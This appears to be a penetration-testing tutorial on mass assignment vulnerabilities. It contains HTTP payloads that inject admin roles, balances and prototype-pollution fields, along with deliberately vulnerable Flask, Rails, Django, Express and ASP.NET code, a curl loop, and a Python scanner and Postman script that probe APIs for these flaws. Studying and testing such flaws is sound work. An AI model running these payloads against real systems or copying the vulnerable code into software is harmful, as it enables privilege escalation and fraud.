Mass assignment vulnerabilities

What are Mass Assignment Vulnerabilities?

Mass assignment vulnerabilities occur when an application automatically binds user input to internal object properties without proper filtering, allowing attackers to modify fields that should be restricted. This happens when frameworks automatically map HTTP parameters to object attributes, enabling attackers to inject additional parameters to modify sensitive fields like roles, permissions, prices, or internal flags.

Vulnerable Scenario Example

Legitimate user registration:

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "email": "[e-mail]",
  "password": "password123"
}

Mass assignment attack:

POST /api/register HTTP/1.1
Content-Type: application/json

{
  "username": "newuser",
  "email": "[e-mail]",
  "password": "password123",
  "role": "admin",
  "is_admin": true,
  "account_balance": 999999,
  "verified": true,
  "internal_notes": "backdoor account"
}

Vulnerable backend code:

# Vulnerable Flask example
@app.route('/api/register', methods=['POST'])
def register():
    user_data = request.get_json()
    
    # Dangerous: Direct assignment of all JSON fields
    user = User(**user_data)  # Mass assignment vulnerability
    db.session.add(user)
    db.session.commit()
    
    return {"message": "User created successfully"}

Attack Result: The application accepts and processes all submitted fields, creating an admin user with elevated privileges and a large account balance, bypassing intended registration restrictions.

Common Mass Assignment Attack Patterns

Privilege Escalation

Role-Based Privilege Escalation:

POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "[e-mail]",
  "password": "password",
  "role": "administrator",
  "is_admin": true,
  "is_superuser": true,
  "permissions": ["read", "write", "delete", "admin"],
  "access_level": "admin",
  "user_type": "admin"
}

Account Privilege Modification:

PUT /api/profile HTTP/1.1
Content-Type: application/json

{
  "name": "John Doe",
  "email": "[e-mail]",
  "bio": "Updated bio",
  "verified": true,
  "premium": true,
  "credits": 999999,
  "subscription_tier": "enterprise"
}

Financial Manipulation

E-commerce Price Tampering:

POST /api/products HTTP/1.1
Content-Type: application/json

{
  "name": "New Product",
  "description": "Product description",
  "category": "electronics",
  "price": 0.01,
  "cost": 0.01,
  "profit_margin": 99.99,
  "featured": true,
  "bestseller": true
}

Account Balance Manipulation:

PUT /api/account/update HTTP/1.1
Content-Type: application/json

{
  "address": "123 Main St",
  "phone": "[phone]",
  "balance": 999999.99,
  "credit_limit": 100000.00,
  "account_status": "premium",
  "overdraft_protection": true
}

Internal Field Modification

System Configuration Tampering:

POST /api/settings HTTP/1.1
Content-Type: application/json

{
  "theme": "dark",
  "language": "en",
  "notifications": true,
  "debug_mode": true,
  "admin_panel": true,
  "maintenance_mode": false,
  "internal_api_access": true
}

Audit and Tracking Bypass:

PUT /api/users/123 HTTP/1.1
Content-Type: application/json

{
  "name": "Updated Name",
  "email": "[e-mail]",
  "created_at": "2020-01-01T00:00:00Z",
  "updated_at": "2024-01-01T00:00:00Z",
  "last_login": "2024-12-31T23:59:59Z",
  "login_count": 999999,
  "audit_exempt": true
}

Framework-Specific Mass Assignment

Ruby on Rails

Strong Parameters Bypass:

# Vulnerable Rails controller
class UsersController < ApplicationController
  def create
    # Vulnerable: No parameter filtering
    @user = User.new(params[:user])
    @user.save
  end
  
  def update
    # Vulnerable: Mass assignment
    @user.update(params[:user])
  end
end

Attack payload:

POST /users HTTP/1.1
Content-Type: application/json

{
  "user": {
    "name": "Attacker",
    "email": "[e-mail]",
    "admin": true,
    "role": "admin"
  }
}

Django/Python

Model Field Injection:

# Vulnerable Django view
def create_user(request):
    data = json.loads(request.body)
    
    # Vulnerable: Direct model creation
    user = User.objects.create(**data)
    return JsonResponse({'id': user.id})

# Vulnerable SQLAlchemy
def update_user(user_id, data):
    user = User.query.get(user_id)
    # Vulnerable: Mass assignment
    for key, value in data.items():
        setattr(user, key, value)
    db.session.commit()

Attack with Django-specific fields:

PUT /api/users/123 HTTP/1.1
Content-Type: application/json

{
  "username": "updated_user",
  "email": "[e-mail]",
  "is_staff": true,
  "is_superuser": true,
  "is_active": true,
  "groups": [1, 2, 3],
  "user_permissions": [1, 2, 3, 4, 5]
}

Node.js/Express

Object Property Injection:

// Vulnerable Express route
app.post('/api/users', (req, res) => {
  // Vulnerable: Direct object assignment
  const user = new User(req.body);
  user.save();
});

// Vulnerable Mongoose
app.put('/api/users/:id', async (req, res) => {
  // Vulnerable: Mass assignment
  await User.findByIdAndUpdate(req.params.id, req.body);
});

Prototype pollution attack:

POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "attacker",
  "email": "[e-mail]",
  "__proto__": {
    "isAdmin": true,
    "role": "admin"
  },
  "constructor": {
    "prototype": {
      "admin": true
    }
  }
}

ASP.NET

Model Binding Exploitation:

// Vulnerable ASP.NET controller
[HttpPost]
public ActionResult CreateUser(User user)
{
    // Vulnerable: Model binding accepts all properties
    db.Users.Add(user);
    db.SaveChanges();
    return Json(new { success = true });
}

Attack with .NET-specific properties:

POST /api/users HTTP/1.1
Content-Type: application/json

{
  "Name": "Attacker",
  "Email": "[e-mail]",
  "IsAdmin": true,
  "Roles": ["Admin", "SuperUser"],
  "Claims": ["AdminAccess", "SystemAccess"]
}

Mass Assignment Testing Methodology

Parameter Discovery and Enumeration

Using Burp Suite Parameter Mining:

1. Capture legitimate API requests
2. Use Param Miner extension:
   - Enable "Guess params" on all requests
   - Use common parameter wordlists
   - Check response differences
3. Look for additional fields in responses
4. Test discovered parameters in requests

Manual Parameter Discovery:

# Common sensitive parameters to test
sensitive_params=(
  "role" "admin" "is_admin" "is_superuser" "permissions"
  "balance" "credit" "price" "cost" "amount"
  "verified" "active" "enabled" "premium"
  "created_at" "updated_at" "id" "user_id"
  "debug" "internal" "system" "config"
)

# Test each parameter with API request
for param in "${sensitive_params[@]}"; do
  echo "Testing parameter: $param"
  curl -X POST https://api.target.com/users \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test\",\"$param\":\"admin\"}"
done

Automated Mass Assignment Testing

Python Testing Framework:

import requests
import json
import itertools

class MassAssignmentTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.findings = []
        self.common_fields = [
            # Privilege escalation fields
            'role', 'admin', 'is_admin', 'is_superuser', 'permissions',
            'access_level', 'user_type', 'account_type', 'privilege',
            
            # Financial fields
            'balance', 'credit', 'price', 'cost', 'amount', 'salary',
            'discount', 'premium', 'subscription', 'tier',
            
            # Status fields
            'verified', 'active', 'enabled', 'confirmed', 'approved',
            'status', 'state', 'locked', 'banned',
            
            # Internal fields
            'id', 'user_id', 'internal', 'system', 'debug', 'test',
            'created_at', 'updated_at', 'deleted_at', 'version',
            
            # Framework-specific fields
            'is_staff', 'is_superuser', 'groups', 'user_permissions',  # Django
            'admin', 'moderator', 'owner',  # Rails
            '__proto__', 'constructor', 'prototype'  # Node.js
        ]
    
    def test_registration_endpoint(self, endpoint, base_payload):
        """Test mass assignment in user registration"""
        print(f"Testing registration endpoint: {endpoint}")
        
        # Test baseline request
        baseline_response = self._send_request(endpoint, base_payload)
        baseline_user_id = self._extract_user_id(baseline_response)
        
        # Test with additional fields
        for field in self.common_fields:
            test_payload = base_payload.copy()
            
            # Test different field values
            test_values = [True, "admin", 1, 999999, "true"]
            
            for value in test_values:
                test_payload[field] = value
                
                response = self._send_request(endpoint, test_payload)
                
                if self._is_successful_response(response):
                    user_id = self._extract_user_id(response)
                    
                    # Check if field was accepted by fetching user data
                    if user_id and self._verify_field_assignment(user_id, field, value):
                        self.findings.append({
                            'endpoint': endpoint,
                            'field': field,
                            'value': value,
                            'type': 'Registration Mass Assignment',
                            'user_id': user_id
                        })
                
                # Reset for next test
                test_payload = base_payload.copy()
    
    def test_update_endpoint(self, endpoint, user_id, base_payload):
        """Test mass assignment in user update"""
        print(f"Testing update endpoint: {endpoint}")
        
        # Get current user state
        current_state = self._get_user_state(user_id)
        
        for field in self.common_fields:
            test_payload = base_payload.copy()
            test_payload[field] = "admin"
            
            response = self._send_request(f"{endpoint}/{user_id}", test_payload, method='PUT')
            
            if self._is_successful_response(response):
                # Check if field was updated
                new_state = self._get_user_state(user_id)
                
                if new_state and field in new_state and new_state[field] != current_state.get(field):
                    self.findings.append({
                        'endpoint': endpoint,
                        'field': field,
                        'value': test_payload[field],
                        'type': 'Update Mass Assignment',
                        'user_id': user_id,
                        'old_value': current_state.get(field),
                        'new_value': new_state[field]
                    })
    
    def test_nested_object_assignment(self, endpoint, base_payload):
        """Test nested object mass assignment"""
        nested_structures = [
            # User object nesting
            {"user": base_payload},
            {"data": base_payload},
            {"attributes": base_payload},
            
            # Deep nesting
            {"user": {"profile": base_payload}},
            {"data": {"user": base_payload}}
        ]
        
        for structure in nested_structures:
            # Add sensitive fields to nested structure
            for field in ['admin', 'role', 'permissions']:
                test_structure = json.loads(json.dumps(structure))  # Deep copy
                
                # Add field to deepest level
                deepest = test_structure
                while isinstance(list(deepest.values())[0], dict):
                    deepest = list(deepest.values())[0]
                
                deepest[field] = "admin"
                
                response = self._send_request(endpoint, test_structure)
                
                if self._is_successful_response(response):
                    self.findings.append({
                        'endpoint': endpoint,
                        'field': field,
                        'structure': test_structure,
                        'type': 'Nested Object Mass Assignment'
                    })
    
    def test_array_assignment(self, endpoint, base_payload):
        """Test array-based mass assignment"""
        array_fields = [
            'permissions', 'roles', 'groups', 'tags', 'categories'
        ]
        
        for field in array_fields:
            test_payload = base_payload.copy()
            test_payload[field] = ["admin", "superuser", "root"]
            
            response = self._send_request(endpoint, test_payload)
            
            if self._is_successful_response(response):
                user_id = self._extract_user_id(response)
                
                if self._verify_field_assignment(user_id, field, test_payload[field]):
                    self.findings.append({
                        'endpoint': endpoint,
                        'field': field,
                        'value': test_payload[field],
                        'type': 'Array Mass Assignment'
                    })
    
    def _send_request(self, endpoint, payload, method='POST'):
        url = f"{self.base_url}{endpoint}"
        headers = {'Content-Type': 'application/json'}
        
        try:
            if method == 'POST':
                return requests.post(url, json=payload, headers=headers)
            elif method == 'PUT':
                return requests.put(url, json=payload, headers=headers)
            elif method == 'PATCH':
                return requests.patch(url, json=payload, headers=headers)
        except Exception as e:
            print(f"Request error: {e}")
            return None
    
    def _is_successful_response(self, response):
        return response and response.status_code in [200, 201, 202]
    
    def _extract_user_id(self, response):
        if not response:
            return None
        
        try:
            data = response.json()
            # Common user ID field names
            id_fields = ['id', 'user_id', 'userId', '_id', 'uid']
            
            for field in id_fields:
                if field in data:
                    return data[field]
                    
            # Check nested structures
            if 'user' in data and isinstance(data['user'], dict):
                for field in id_fields:
                    if field in data['user']:
                        return data['user'][field]
                        
        except:
            pass
        
        return None
    
    def _get_user_state(self, user_id):
        """Fetch current user state to verify field assignments"""
        try:
            response = requests.get(f"{self.base_url}/api/users/{user_id}")
            if response.status_code == 200:
                return response.json()
        except:
            pass
        return None
    
    def _verify_field_assignment(self, user_id, field, expected_value):
        """Verify if field was actually assigned"""
        user_state = self._get_user_state(user_id)
        
        if not user_state:
            return False
        
        # Check direct field
        if field in user_state:
            return user_state[field] == expected_value
        
        # Check nested user object
        if 'user' in user_state and field in user_state['user']:
            return user_state['user'][field] == expected_value
        
        return False
    
    def generate_report(self):
        print(f"\n=== Mass Assignment Vulnerability Report ===")
        print(f"Total vulnerabilities found: {len(self.findings)}")
        
        for finding in self.findings:
            print(f"\n[!] {finding['type']}")
            print(f"    Endpoint: {finding['endpoint']}")
            print(f"    Field: {finding['field']}")
            print(f"    Value: {finding['value']}")
            
            if 'user_id' in finding:
                print(f"    User ID: {finding['user_id']}")
            
            if 'old_value' in finding:
                print(f"    Changed: {finding['old_value']} → {finding['new_value']}")

# Usage example
tester = MassAssignmentTester('https://api.target.com')

# Test registration endpoint
base_registration = {
    "username": "testuser",
    "email": "[e-mail]",
    "password": "password123"
}

tester.test_registration_endpoint('/api/register', base_registration)

# Test update endpoint
base_update = {
    "name": "Updated Name",
    "bio": "Updated bio"
}

tester.test_update_endpoint('/api/users', 'test_user_id', base_update)

# Test nested and array assignments
tester.test_nested_object_assignment('/api/register', base_registration)
tester.test_array_assignment('/api/register', base_registration)

tester.generate_report()

Postman Mass Assignment Testing

Collection Structure:

Mass Assignment Testing/
├── Registration Tests/
│   ├── Basic registration + admin role
│   ├── Basic registration + is_admin flag
│   ├── Basic registration + permissions array
│   └── Basic registration + financial fields
├── Update Tests/
│   ├── Profile update + privilege escalation
│   ├── Account update + balance manipulation
│   └── Settings update + internal flags
└── Framework-Specific/
    ├── Django model fields
    ├── Rails strong parameters bypass
    ├── Node.js prototype pollution
    └── ASP.NET model binding

Pre-request Script for Parameter Injection:

// Postman pre-request script for mass assignment testing
const basePayload = JSON.parse(pm.request.body.raw);

// Sensitive fields to test
const sensitiveFields = [
    {field: "role", values: ["admin", "superuser", "root"]},
    {field: "is_admin", values: [true, "true", 1]},
    {field: "permissions", values: [["admin"], "admin", "all"]},
    {field: "balance", values: [999999, "999999"]},
    {field: "verified", values: [true, "true"]}
];

// Get current test iteration
const currentField = pm.environment.get("current_test_field") || 0;
const currentValue = pm.environment.get("current_test_value") || 0;

if (currentField < sensitiveFields.length) {
    const field = sensitiveFields[currentField];
    
    if (currentValue < field.values.length) {
        // Add sensitive field to payload
        basePayload[field.field] = field.values[currentValue];
        
        // Update environment for next iteration
        pm.environment.set("current_test_value", currentValue + 1);
    } else {
        // Move to next field
        pm.environment.set("current_test_field", currentField + 1);
        pm.environment.set("current_test_value", 0);
    }
}

pm.request.body.raw = JSON.stringify(basePayload);

Advanced Mass Assignment Techniques

Blind Mass Assignment

Response-Based Detection:

# Test 1: Baseline request
POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "test1",
  "email": "[e-mail]"
}

# Response: {"id": 123, "username": "test1", "role": "user"}

# Test 2: Mass assignment attempt
POST /api/users HTTP/1.1
Content-Type: application/json

{
  "username": "test2", 
  "email": "[e-mail]",
  "role": "admin"
}

# Response: {"id": 124, "username": "test2", "role": "admin"}
# ↑ Field accepted - vulnerability confirmed

Time-Based Mass Assignment

Performance Impact Testing:

import time

def test_timing_mass_assignment(endpoint, base_payload):
    # Baseline timing
    start = time.time()
    response1 = requests.post(endpoint, json=base_payload)
    baseline_time = time.time() - start
    
    # Mass assignment with many fields
    heavy_payload = base_payload.copy()
    
    # Add 100 potential database fields
    for i in range(100):
        heavy_payload[f"field_{i}"] = f"value_{i}"
        heavy_payload[f"admin_{i}"] = True
        heavy_payload[f"role_{i}"] = "admin"
    
    start = time.time()
    response2 = requests.post(endpoint, json=heavy_payload)
    heavy_time = time.time() - start
    
    # Significant timing difference indicates processing
    if heavy_time > baseline_time * 2:
        print(f"Potential mass assignment: {heavy_time:.2f}s vs {baseline_time:.2f}s")
        return True
    
    return False

Content-Type Based Mass Assignment

Different Encoding Tests:

# JSON mass assignment
POST /api/users HTTP/1.1
Content-Type: application/json

{"username": "test", "admin": true}

# Form-encoded mass assignment
POST /api/users HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=test&admin=true&role=admin

# XML mass assignment
POST /api/users HTTP/1.1
Content-Type: application/xml

<user>
  <username>test</username>
  <admin>true</admin>
  <role>admin</role>
</user>

Business Impact Analysis

Financial Impact Scenarios

E-commerce Platform:

# Product creation with manipulated pricing
POST /api/products HTTP/1.1
Content-Type: application/json

{
  "name": "Expensive Item",
  "description": "High-value product",
  "category": "electronics",
  "price": 0.01,
  "cost": 0.01,
  "profit_margin": 99999,
  "featured": true,
  "bestseller": true,
  "inventory": 999999
}

Banking/Fintech Applications:

# Account creation with inflated balance
POST /api/accounts HTTP/1.1
Content-Type: application/json

{
  "account_type": "checking",
  "initial_deposit": 100.00,
  "balance": 999999.99,
  "credit_limit": 1000000.00,
  "interest_rate": 25.0,
  "overdraft_protection": true,
  "account_status": "premium"
}

Access Control Impact

Administrative Privilege Escalation:

POST /api/employees HTTP/1.1
Content-Type: application/json

{
  "name": "John Doe",
  "email": "[e-mail]", 
  "department": "IT",
  "salary": 999999,
  "role": "CEO",
  "permissions": ["all"],
  "access_level": "unlimited",
  "admin_privileges": true,
  "system_access": true
}

Testing Checklist

Mass Assignment Test Scenarios

User Management Tests:

• [ ] Registration with role/admin fields

• [ ] Profile updates with privilege escalation

• [ ] Password resets with account manipulation

• [ ] User deletion with audit bypass

Financial System Tests:

• [ ] Payment processing with amount manipulation

• [ ] Account creation with balance inflation

• [ ] Transaction creation with unauthorized transfers

• [ ] Billing updates with discount manipulation

Business Logic Tests:

• [ ] Product creation with price manipulation

• [ ] Order processing with discount stacking

• [ ] Inventory updates with quantity manipulation

• [ ] Subscription upgrades with tier bypass

Framework-Specific Tests:

• [ ] Django model field injection

• [ ] Rails strong parameter bypass

• [ ] Node.js prototype pollution

• [ ] ASP.NET model binding exploitation

Content-Type Variations:

• [ ] JSON mass assignment

• [ ] Form-encoded mass assignment

• [ ] XML mass assignment

• [ ] Multipart form mass assignment

Detection Indicators

Response Analysis:

• [ ] Additional fields in response JSON

• [ ] Status code changes with extra parameters

• [ ] Error messages revealing accepted fields

• [ ] Response timing differences

Behavioral Changes:

• [ ] User account privilege changes

• [ ] Financial balance modifications

• [ ] System configuration alterations

• [ ] Audit log inconsistencies

Mass assignment vulnerabilities represent a critical security flaw in modern web applications that can lead to privilege escalation, financial fraud, and complete system compromise. Understanding how different frameworks handle parameter binding is essential for identifying and exploiting these vulnerabilities during security assessments.